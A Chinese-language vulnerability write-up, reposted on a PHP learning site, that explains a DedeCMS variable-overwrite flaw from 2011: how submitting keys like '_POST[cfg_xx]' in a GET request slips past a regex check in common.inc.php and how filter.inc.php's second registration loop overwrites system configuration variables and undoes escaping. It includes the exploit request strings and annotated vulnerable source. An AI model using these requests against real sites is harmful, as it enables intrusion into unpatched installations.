网站地图    收藏   

主页 > 后端 > 网站安全 >

关于Dedecms的变量覆盖漏洞的利用 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞,有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,大约半年前我也独立发现过本文c4rp3nt3r@0x50sec.org写...

最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞,有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,大约半年前我也独立发现过
本文c4rp3nt3r@0x50sec.org
写于2011年5月

DedeCMS 任意变量覆盖漏洞的利用

Dedecms的变量覆盖漏洞总结
1.在magic_quotes_gpc=Off时
common.inc.php对原来的一维数组的$_GET原始数据没有进行addslashes,而是对一维数组的$$key进行了addslashes,导致filter.inc.php再次覆盖的时候使_RunMagicQuotes函数成了纸老虎。

2.common.inc.php
//检查和注册外部提交的变量,此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量
我们可以通过下面的变量覆盖漏洞使用GET提交的方式创建出$_POST数组数据,创建是在检查之后的也就绕过了检查,创建出来之后,程序又将其注册成了变量。

3.filter.inc.php
这个文件在系统配置文件之后,里面有foreach循环创建变量,所以可以覆盖系统变量。

1.在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤!
xxx.php?site=c4rp3nt3r’s blog
经过common.inc.php
$c4rp3nt3r=c4rp3nt3r\’s blog
经过filter.inc.php
$c4rp3nt3r=c4rp3nt3r’s blog

2.创建系统变量

程序不允许创建cfg_开头的变量,依靠这样来防御系统变量未初始化漏洞。
common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞。
但是有的系统变量已经初始化了,而且是在common.inc.php文件foreach循环注册变量之后,就是说我们能创建,但是没法覆盖~~~
但是好玩的是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量。

在/member目录的大部分文件都包含这么一个文件/member/config.php
这个文件的前两句就是
require_once(dirname(__FILE__).’/../include/common.inc.php’);
require_once(DEDEINC.’/filter.inc.php’);
就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量。
其他目录的文件也不一定就是安全的,可以触发系统变量未初始化漏洞。

有两种利用方法
1.依赖于common.inc.php的变量创建和filter.inc.php的变量覆盖
//magic_quote_gpc=Off
我们提交
xxx.php?_GET[cfg_xx]=c4rp3nt3r’s blog
经过common.inc.php
$_GET[cfg_xx]=c4rp3nt3r\’s blog
经过filter.inc.php
$cfg_xx=c4rp3nt3r’s blog

2.依赖于common.inc.php的变量创建

提交
xxx.php?_POST[cfg_xx]=c4rp3nt3r’s blog
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v) //此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量
{
if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)’,$_k) ) //$_k=’_POST[cfg_xx]‘;绕过了正则
{
exit(‘Request var not allow!’);
}
}

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

foreach(Array(‘_GET’,'_POST’,'_COOKIE’) as $_request)
{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
//如果提交xxx.php?_GET[cfg_xx]=c4rp3nt3r’s blog
//仅仅创建了$_GET[cfg_xx]但是第一次的循环$_GET已经执行完了,只能利用filter.inc.php的foreach循环变量覆盖来创建了
//如果我们提交xxx.php?_POST[cfg_xx]=c4rp3nt3r’s blog
//第一次执行$_GET循环后才创建出$_POST[cfg_xx],就不会进入上面的正则检查
//但是下一次进行$_POST循环时候正好注册我们的变量$cfg_xx=c4rp3nt3r\’s blog

}

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论